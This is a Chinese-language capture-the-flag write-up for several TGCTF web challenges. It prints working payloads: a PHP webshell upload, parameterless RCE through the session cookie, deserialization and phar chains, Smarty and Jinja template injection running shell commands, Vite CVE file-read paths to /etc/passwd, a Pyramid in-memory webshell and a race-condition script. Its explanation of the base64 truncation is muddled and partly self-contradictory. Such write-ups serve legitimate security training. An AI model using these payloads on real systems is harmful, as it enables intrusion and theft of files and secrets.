TGCTF web

TGCTF

(ez)upload

上传一个图片马 抓包 通过 /. 绕过

在upload.php.bak里我们可以看到源码

image-20250413200332910

image-20250413200513656

image-20250413200523834

上传成功 访问uploads/shell.php

执行命令

1
shell=system('env');

image-20250413200800976

AAA偷渡阴平

image-20250413200900856

可以通过无参rce读取

要列出根目录,可以利用 PHP 的预定义常量 DIRECTORY_SEPARATOR 绕过对斜杠 / 的过滤。

方法:使用 DIRECTORY_SEPARATOR 常量

PHP 的 DIRECTORY_SEPARATOR 是一个预定义常量,在 Linux 系统中值为 /。通过该常量可以构造根目录的路径,而无需直接使用被过滤的斜杠。

所以我们可以通过

1
print_r(scandir(DIRECTORY_SEPARATOR));

来列出根目录 发现了 flag文件

image-20250413201353328

读取flag

方法:使用 chdir 切换目录

PHP 的 chdir 函数可以切换当前工作目录。结合 DIRECTORY_SEPARATOR(值为 /),无需使用 . 拼接路径即可访问根目录。

1
chdir(DIRECTORY_SEPARATOR);readfile(flag);

image-20250413201714432

关键点解释:

  1. 切换目录到根目录
    • chdir(DIRECTORY_SEPARATOR) 将当前工作目录切换到根目录 /
    • DIRECTORY_SEPARATOR 是 PHP 预定义常量,值为 /,绕过对斜杠的直接使用。
  2. 直接读取文件
    • readfile(flag) 会从当前目录(根目录)读取 flag 文件。
    • flag 作为未定义常量,PHP 自动转为字符串 'flag'
  3. 绕过过滤的字符
    • 所有字符均为字母、下划线、括号或分号,符合过滤规则。

绕过 . 过滤的核心技巧:

  • 目录切换代替路径拼接:通过 chdir 直接进入根目录,避免使用 . 拼接路径。
  • 预定义常量DIRECTORY_SEPARATOR 提供 /,绕过斜杠过滤。
  • 分号分隔语句:允许在同一行执行多条命令。

AAA偷渡阴平(复仇)

image-20250723161709813

无参rce session绕过

payload:

1
2
?tgctf2025=session_start();system(hex2bin(session_id())); 
Cookie: PHPSESSID=6c73202f

image-20250723163559629

1
Cookie: PHPSESSID=636174202f666c6167

image-20250723170618531

什么文件上传?

访问 robots.txt 发现/class.php 继续访问 进入反序列化

image-20250413202007537

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

class yesterday {

public $study;

}

class today {

public $doing;

}

class tommoraw {

public $good;

}

class future {

}

$yesterday = new yesterday();

$today = new today();

$future = new future();

$today->doing = $future;

$yesterday->study = $today;

$serialized = serialize($yesterday);

$encoded = base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($serialized)))));

echo serialize($encoded);

为什么原利用链能触发 __toString

  • 链式调用
    • yesterday::__destruct ➔ 调用 $this->study->hard()
    • 由于 studytoday 对象且 today 没有 hard 方法,触发 today::__call
    • today::__call 中,执行 return $this->doing->better
    • 由于 doingfuture 对象且 better 属性不存在,PHP会尝试将 future 对象隐式转换为字符串(触发 __toString)。
  • 关键逻辑
    • $this->doing->better 的访问
      • 由于 better 属性不存在,PHP会尝试调用 future::__get
      • future 类没有定义 __get 方法,导致PHP抛出错误。
      • 在错误处理过程中,PHP可能会尝试将 future 对象转换为字符串(例如输出错误信息),从而触发 future::__toString

return $this->doing->better

  • 触发 __get(如果属性不存在)。
  • __get 未定义,PHP尝试将对象转换为字符串(触发 __toString

payload:

1
filename=Vm10b2QyUnJOVlpQV0VKVVlXeGFhRll3VlRCa01XUnpZVVYwYUUxWGVGcFpWRXB6VlVkR2NsWlVTbUZXUlRWUFZHMXpNVlpYU1hsaVIzQk9UVlZzTkZZeWRHOWpiVVpXVDBoa1VGSkdjRkJXYTJNMVkwWndSbGw2Vm1oTlYzaGFXVlJLYzFWSFJuSldWRXBoVmtVMVQxUnRjekZXVjBsNVlrZEdVMlZ0ZUROWFZ6QjRZVzFHVms5SVpGQlNSbkJRV1Zjd05XTkdaSFJPVm1ST1VqRktXbFV5TVRSVGJVWjBUMVJPVlUxcVZYZFVNV1JoVjFVeFJVMUVNRDA9.php

image-20250413203223565

然后post wow执行命令就可以了

image-20250413203305448

image-20250413203327303

为什么不加.php也可以成功执行命令?

在提供的代码中,通过 substr($_GET['filename'],0,-4) 截取输入参数的前 N-4 个字符后进行反序列化。即使不添加 .php 后缀也能成功触发漏洞,原因如下:


关键原因分析

  1. Base64 编码的容错性

    • Base64 编码每次处理 3 字节 的原始数据,生成 4 字节 的编码结果。
    • 如果原始数据长度不足 3 的倍数,会添加 = 作为填充字符。
    • 多次编码后的数据末尾可能天然存在填充字符(如 ====,截断后仍能正确解码。

    示例

    1
    原始数据 → Base64 → Base64 → Base64 → Base64 → Base64 → 最终编码字符串(可能含填充字符)

    若最终编码字符串末尾为 XXXX====,截断最后 4 字符(====)后,剩余部分仍可正确解码。

  2. PHP 的自动填充处理

    • PHP 的 base64_decode 函数会自动忽略末尾的无效字符(如多余填充符号)。
    • 即使截断导致部分填充字符丢失,解码时仍能通过自动补全还原数据。
  3. 攻击场景验证

    • 若五次编码后的字符串本身以 ==== 结尾,提交 filename=XXXX(不添加 .php)时:

      1
      substr("XXXX", 0, -4) → ""  // 截断后为空,无法触发漏洞
    • 但若五次编码后的字符串长度为 N+4,且末尾 4 字符为有效编码(非填充字符),则:

      1
      substr("XXXXYYYY", 0, -4) → "XXXX"  // 有效截断,可解码

    此时无需后缀也能触发漏洞。


成功利用的条件

  • 编码后的字符串长度需适配
    五次 Base64 编码后的总长度需满足 (原始长度 + 填充) % 4 == 0,确保截断后仍能正确解码。
  • 末尾字符非关键数据
    截断的 4 字符需为填充或冗余数据,不影响反序列化结构。

不加 .php 后缀仍能成功,是因为 五次编码后的字符串末尾天然包含 4 个冗余字符(如填充符号),截断后不影响解码逻辑。这一特性使得攻击者无需强制添加后缀即可完成利用。实际攻击中需确保编码后的字符串结构适配截断操作。

什么文件上传?(复仇)

image-20250723171022037

phar反序列化

phar://协议流可被file_exists()函数直接触发,并且反序列化成功。

链子跟上面一样

爆破可以爆出文件后缀是atg

image-20250723194602735

生成phar文件 并将后缀改为atg上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class yesterday {
public $study;
}
class today {
public $doing;
}
class tommoraw {
public $good;
}
class future {
}
$y = new yesterday();
$t = new today();
$f = new future();
$t->doing = $f;
$y->study = $t;
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar,生成后可以随意修改
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($y); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

image-20250723195129445

然后通过phar://协议读取该文件进行post传参

1
2
http://127.0.0.1:64346/class.php?filename=phar://uploads/phar.atg
wow=env

image-20250723201039158

火眼辩魑魅

非预期

访问robots.txt

image-20250413204421130

利用的是通过tgshell.php的漏洞

image-20250413204536584

因为他写了post shell吗 然后试着传参发现有waf

这里可以直接通过antsword连接 然后在根目录里找到flag

image-20250413204715286

image-20250413204749047

预期

tgxff.php文件

这里是SSTI的smarty注入

smarty SSTI

smarty是基于PHP开发的,官方文档 于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别

注入点:

  • XFF
  • Client IP

确认漏洞:

  • 输入{$smarty.version},返回smarty的版本号
{php}{/php}标签

Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令

1
{php}phpinfo();{/php}

但在Smarty3的官方手册里有以下描述:

  • Smarty已经废弃{php}标签,强烈建议不要使用
  • 在Smarty 3.1,{php}仅在SmartyBC中可用
{literal}标签

官方手册这样描述这个标签:

  • {literal}可以让一个模板区域的字符原样输出
  • 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析

在php5的环境中可以使用

1
<script language="php">phpinfo();</script>

php7就不能用了

静态方法

通过self获取Smarty类再调用其静态方法实现文件读写

Smarty类的getStreamVariable方法的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function getStreamVariable($variable)
{
$_result = '';
$fp = fopen($variable, 'r+');
if ($fp) {
while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
$_result .= $current_line;
}
fclose($fp);
return $_result;
}
$smarty = isset($this->smarty) ? $this->smarty : $this;
if ($smarty->error_unassigned) {
throw new SmartyException('Undefined stream variable "' . $variable . '"');
} else {
return null;
}
}

这个方法可以读取一个文件并返回其内容 所以我们可以用self来获取Smarty对象并调用这个方法 很多文章里给的payload都形如:

1
{self::getStreamVariable("file:///etc/passwd")}

但在3.1.30的Smarty版本中官方已经把该静态方法删除

{if}标签

官方文档中的描述:

  • Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性
  • 每个{if}必须有一个配对的{/if},也可以使用{else}{elseif}
  • 全部的PHP条件表达式和函数都可以在if内使用,如||, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}

payload

1
{if phpinfo()}{/if}

解题

1
x-forwarded-for: {$smarty.version}

发现该smarty的版本是3.1.30

这里应该是利用{if}标签

1
2
x-forwarded-for: {if system('ls /')}{/if}
x-forwarded-for: {if system('cat /tgfffffllllaagggggg')}{/if}

image-20250723203348852

直面天命

查看源代码发现hint 路由

image-20250413204930583

这里的路由 应该可以爆破出来(我看的hint 没有爆破www)访问 /aazz

image-20250413205043901

然后这里通过抓包可以发现一个filename参数 这个是可以用来进行文件读取的 直接传?filename=flag 就能读取

image-20250413205127066

image-20250413205217665

直面天命复仇

/aazz路由里可以看到源码

1
2
3
天命   转换为{{

难违 转换为}}

编码绕过waf payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
天命g['pop']['__globals__']['__builtins__']['__import__']('so'[::-1])['popen']('cat /tgffff11111aaaagggggggg')['read']()难违
编码后
天命g['\u0070\u006f\u0070']['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f']('so'[::-1])['\u0070\u006f\u0070\u0065\u006e']('cat /tgffff11111aaaagggggggg')['\u0072\u0065\u0061\u0064']()难违

部分 含义和作用
g['pop'] 取 g 对象里的 pop 方法(相当于 g.pop),这里是先取出 pop 函数。
['__globals__'] 访问 pop 函数的 __globals__,这是它定义时所在的全局变量字典。
['__builtins__'] 取出内置模块 __builtins__,里面包含 Python 的内置函数和异常。
['__import__'] 取出内置函数 __import__,用于动态导入模块。
('so'[::-1]) 字符串 'so' 反转得到 'os',动态传给 __import__,即导入 Python 的 os 模块。
['popen'] 取出 os.popen 函数,用于执行系统命令。
('cat /*') 传给 popen 执行命令:cat /*(尝试读取根目录下所有文件,注意:这条命令很危险且可能报错)。
['read']() 读取 popen 返回的命令执行结果。


('so'[::-1]) 是 Python 里的字符串切片操作,具体解释如下:

'so' 是一个字符串,内容是字符 's' 和 'o'。
[::-1] 是切片(slice)操作,语法为 string[start:stop:step]。
这里 start 和 stop 都省略,step 是 -1,表示从后往前倒着取所有字符。

前端GAME

image-20250722153436312

Vite CVE-2025-30208 安全漏洞

https://zhuanlan.zhihu.com/p/1891135703653544015

尝试访问@fs/etc/passwd?raw??

image-20250722154037413

调试器里可以找到flag目录

image-20250722154444494

访问@fs/tgflagggg?raw??

image-20250722154542933

前端GAME Plus

CVE-2025-31486 Vite开发服务器任意文件读取漏洞

CVE-2025-31486 Vite开发服务器任意文件读取漏洞复现-CSDN博客

1
2
3
4
5
/tgflagggg?.svg?.wasm?init


下面这个需要知道绝对路径
/@fs/app/?/../../../../../tgflagggg?import&?raw

image-20250722160436745

1
import sys;config = sys.modules['__main__'].config;app=sys.modules['__main__'].app;print(config);config.add_route('shell', '/111');config.add_view(lambda request: Response(__import__('os').popen(request.params.get('1')).read()),route_name='shell');app = config.make_wsgi_app()

前端GAME Ultra

CVE-2025-32395

Vite任意文件读取bypass调试分析(CVE-2025-32395)-先知社区

1
/@fs/app/#/../../../../../tgflagggg

这里直接在浏览器里访问不可以了

可以使用bp 或者curl请求

image-20250809170015403

1
curl --request-target /@fs/app/#/../../../../tgflagggg http://127.0.0.1:59453

image-20250722174547504

熟悉的配方,熟悉的味道

pyramid框架内存马,代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
'__builtins__': {}, # 禁用所有内置函数
'__import__': None # 禁止动态导入
}


def checkExpr(expr_input):
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))

if len(expr) != 2:
return 0
try:
int(expr[0])
int(expr[1])
except:
return 0

return 1


def home_view(request):
expr_input = ""
result = ""

if request.method == 'POST':
expr_input = request.POST['expr']
if checkExpr(expr_input):
try:
result = eval(expr_input, eval_globals)
except Exception as e:
result = e
else:
result = "爬!"


template_str = 【xxx】

env = Environment(loader=BaseLoader())
template = env.from_string(template_str)
rendered = template.render(expr_input=expr_input, result=result)
return Response(rendered)


if __name__ == '__main__':
with Configurator() as config:
config.add_route('home_view', '/')
config.add_view(home_view, route_name='home_view')
app = config.make_wsgi_app()

server = make_server('0.0.0.0', 9040, app)
server.serve_forever()

image-20250722164013700

下面的eval限制不用管 写入的payload在exec这里就会执行但无回显

payload:

1
import sys;config = sys.modules['__main__'].config;app=sys.modules['__main__'].app;print(config);config.add_route('shell', '/shell.php');config.add_view(lambda request: Response(__import__('os').popen(request.params.get('1')).read()),route_name='shell');app = config.make_wsgi_app()

image-20250722170206695

输入执行后访问 /shell.php?1=whoami

image-20250722170244427

image-20250722170350163

老登,来炸鱼了?

image-20250724101456095

go语言(不会)

多线程条件竞争

官方脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import aiohttp
import asyncio

class Solver:
def __init__(self, baseUrl):
self.baseUrl = baseUrl
self.READ_FILE_ENDPOINT = f'{self.baseUrl}'
self.VALID_CHECK_PARAMETER = '/read?name=1'
self.INVALID_CHECK_PARAMETER = '/read?name=../../../flag'
self.RACE_CONDITION_JOBS = 100

async def raceValidationCheck(self, session, parameter):
url = f'{self.READ_FILE_ENDPOINT}{parameter}'
async with session.get(url) as response:
return await response.text()

async def raceCondition(self, session):
tasks = []
for _ in range(self.RACE_CONDITION_JOBS):
tasks.append(self.raceValidationCheck(session, self.VALID_CHECK_PARAMETER))
tasks.append(self.raceValidationCheck(session, self.INVALID_CHECK_PARAMETER))
return await asyncio.gather(*tasks)

async def solve(self):
async with aiohttp.ClientSession() as session:
attempts = 1
finishedRaceConditionJobs = 0
while True:
print(f'[*] Attempts #{attempts} - Finished race condition jobs: {finishedRaceConditionJobs}')
results = await self.raceCondition(session)
attempts += 1
finishedRaceConditionJobs += self.RACE_CONDITION_JOBS
for result in results:
if 'TGCTF{' not in result:
continue
print(f'\n[+] We won the race window! Flag: {result.strip()}')
return # 找到后退出

if __name__ == '__main__':
baseUrl = 'http://127.0.0.1:7792' # 注意加上 http://
solver = Solver(baseUrl)
asyncio.run(solver.solve())

image-20250724101550246